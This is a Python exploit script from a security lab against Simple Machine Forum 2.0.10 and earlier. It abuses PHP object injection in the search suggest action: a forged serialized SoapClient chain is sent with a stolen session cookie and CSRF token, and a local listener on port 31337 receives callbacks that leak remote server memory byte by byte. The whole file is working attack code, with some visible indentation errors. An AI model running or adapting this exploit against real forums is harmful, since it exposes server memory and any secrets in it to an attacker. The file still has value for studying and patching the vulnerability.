#!/usr/bin/python
# -*- coding: iso-8859-15 -*-

#############################################################################
# Title:      SMF (Simple Machine Forum) <= 2.0.10 Remote Memory Exfiltration Exploit
# Authors:    Andrea Palazzo  
#          <andrea [dot] palazzo [at] truel [dot] it> 
#             Filippo Roncari 
#          <filippo [dot] roncari [at] truel [dot] it>
#             Truel Lab ~ http://lab.truel.it
# Requirements:  SMF <= 2.0.10
#        PHP <= 5.6.11 / 5.5.27 / 5.4.43
# Advisories:  TL-2015-PHP04 http://lab.truel.it/d/advisories/TL-2015-PHP04.txt
#        TL-2015-PHP06 http://lab.truel.it/d/advisories/TL-2015-PHP06.txt
#        TL-2015-SMF01 n/y/a
# Details:    http://lab.truel.it/2015/09/php-object-injection-the-dirty-way/
# Demo:     https://www.youtube.com/watch?v=dNRXTt7XQxs
############################################################################


import sys, requests, time, os, socket, thread, base64, string, urllib
from multiprocessing import Process

#Payload Config
bytes_num = 000 #num of bytes to dump
address = 000 #starting memory address

#Target Config
cookie = {'PHPSESSID' : '000'} #SMF session cookie
target_host = 'http://localhost/smf/index.php' #URL of target installation index.php
csrftoken = ''

#Local Server Config
host = "localhost"
port = 31337

#Memory dump variables 
dumped = ''
current_dump = ''
in_string = False
brute_index = 0
brute_list = list(string.ascii_letters + string.digits)
r_ok = 'HTTP/1.0 200 OK' + '\n'
r_re = 'HTTP/1.0 302 OK' + '\n'
r_body = '''Server: Truel-Server
Content-Type: text/xml
Connection: keep-alive
Content-Length: 395

<env:Envelope xmlns:env="http://www.w3.org/2003/05/soap-envelope">
 <env:Header>
  <n:alertcontrol xmlns:n="http://example.org/alertcontrol">
   <n:priority>1</n:priority>
   <n:expires>2001-06-22T14:00:00-05:00</n:expires>
  </n:alertcontrol>
 </env:Header>
 <env:Body>
  <m:alert xmlns:m="http://example.org/alert">
   <m:msg>Truel</m:msg>
  </m:alert>
 </env:Body>
</env:Envelope>'''


def serverStart():
  print "[+] Setting up local server on port " + str(port)
  sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
  if not sock:
    print "[X] Fatal Error: Unable to create socket"
  sock.bind((host, port))
  sock.listen(1) 
  return sock

def getToken():
  global csrftoken
  print "[+] Trying to get a valid CSRF token"
  for n in range(3): #3 attempts
    r = requests.get(target_host, cookies=cookie, allow_redirects=False)
    r = r.text
    if(r.find("action=logout;")!=-1):
      break
  start = r.find("action=logout;")
  if (start !=-1):
    end = (r[start+14:]).find('">')
    csrftoken = r[start+14 : start+end+14]
    print "[+] Authentication done. Got token " + str(csrftoken)
    return True
  else:
    print "[X] Fatal Error: You are not authenticated. Check the provided PHPSESSID."
    return False

def prepareForExploit():
  if not(getToken()): #get CSRF token
    os._exit(1)
  target = target_host + '?action=suggest&' + csrftoken + '&search_param=test' 
   r = requests.get(target, cookies=cookie, allow_redirects=False) #necessary request
   return

def forgePayload(current_try, address):
  location = "http://" + current_try
  payload = 'O:12:"DateInterval":1:{s:14:"special_amount";O:9:"Exception":1:{s:19:"\x00Exception\x00previous";O:10:"SoapClient":5:{s:3:"uri";s:1:"a";s:8:"location";s:' + str(len(location)) + ':"' + location + '";s:8:"_cookies";a:1:{s:5:"owned";a:3:{i:0;s:1:"a";i:2;i:' + str(address) + ';i:1;i:' + str(address) + ';}}s:11:"_proxy_host";s:' + str(len(host)) + ':"' + str(host) + '";s:11:"_proxy_port";i:' + str(port) + ';}}}'
  return payload

def sendPayload(payload,null):
   target = target_host + '?action=suggest&' + csrftoken + '&search_param=' + (base64.b64encode(payload)) #where injection happens
   try:
    r = requests.get(target, cookies=cookie, allow_redirects=False)
  except requests.exceptions.RequestException:    
    print "[X] Fatal Error: Unable to reach the remote host (Connection Refuse)"
    os._exit(1) 
  return 

def limitReached(dumped):
  if(len(dumped) >= bytes_num):
    return True
  else:
    return False

def printDumped(dumped):
  d = "    "
  cnt = 1
  print "[+] " + str(len(dumped)) + " bytes dumped from " + target_host
  print "[+] ======================= Dumped Data ======================="
  for i in range(bytes_num):
    d = d + str(dumped[i])
    if (cnt % 48 == 0):
      print d 
      d = "    "
    if (cnt == bytes_num):
      print d
    cnt = cnt + 1

def getSoapRequest(sock):
  connection, sender = sock.accept()
  request = connection.recv(8192) 
  return (connection, request)

def sendSoapResponse(connection, content):
  connection.send(content)
  connection.close()
  return

def getDumpedFromHost(request):
  i = request.find("Host: ") + 6
  v = request[i:i+1]
  return v

def pushDumped(value, string):
  global dumped
  global current_dump
  global brute_index
  global address
  global in_string

  dumped = str(value) + str(dumped) 
  if(string):
    current_dump = str(value) + str(current_dump)
  else:
    current_dump = ""
  in_string = string
  address = address-1
  brute_index = 0
  print "[" + hex(address) + "] " + str(value)
  return

def bruteViaResponse(sock):
  global brute_index
  current_try = ""
  response_ok = r_ok + r_body

  for n in range(19):
    connection, request = getSoapRequest(sock)
    if not request:
      connection.close()
      return False
    if request.find("owned")!=-1:
      pushDumped(getDumpedFromHost(request), True)
      sendSoapResponse(connection,response_ok)
      return True
    else:
      if((brute_index+1) == len(brute_list)):
        sendSoapResponse(connection,response_ok)
        return False
      brute_index = brute_index + 1
    if not in_string:
      current_try = brute_list[brute_index]
    else:
      current_try = brute_list[brute_index] + str(current_dump)
    response_re = r_re + 'Location: http://' + str(current_try) + '\n' + r_body
    sendSoapResponse(connection,response_re)
  connection, request = getSoapRequest(sock)
  if request.find("owned")!=-1:
    pushDumped(getDumpedFromHost(request), True)
    sendSoapResponse(connection,response_ok)
    return True
  sendSoapResponse(connection,response_ok)
  return False

def bruteViaRequest(sock):
  global brute_index
  brute_index = 0
  current_try = ""

  while(True):  
    if(brute_index == len(brute_list)):
      pushDumped(".", False)
    if limitReached(dumped):
      printDumped(dumped)
      return 
    if not in_string:
      current_try = brute_list[brute_index]
    else:
      current_try = brute_list[brute_index] + str(current_dump)
    payload = forgePayload(current_try,address)
    thread.start_new_thread(sendPayload,(payload,""))
    if not bruteViaResponse(sock):
      brute_index = brute_index + 1
  return  

def runExploit():
  print "[+] Starting exploit"
  sock = serverStart()
  prepareForExploit()
  print "[+] Trying to dump " + str(bytes_num) + " bytes from " + str(target_host)
  bruteViaRequest(sock)
  sock.close()
  print "[+] Bye ~ Truel Lab (http://lab.truel.it)"
  sys.exit(0)


runExploit()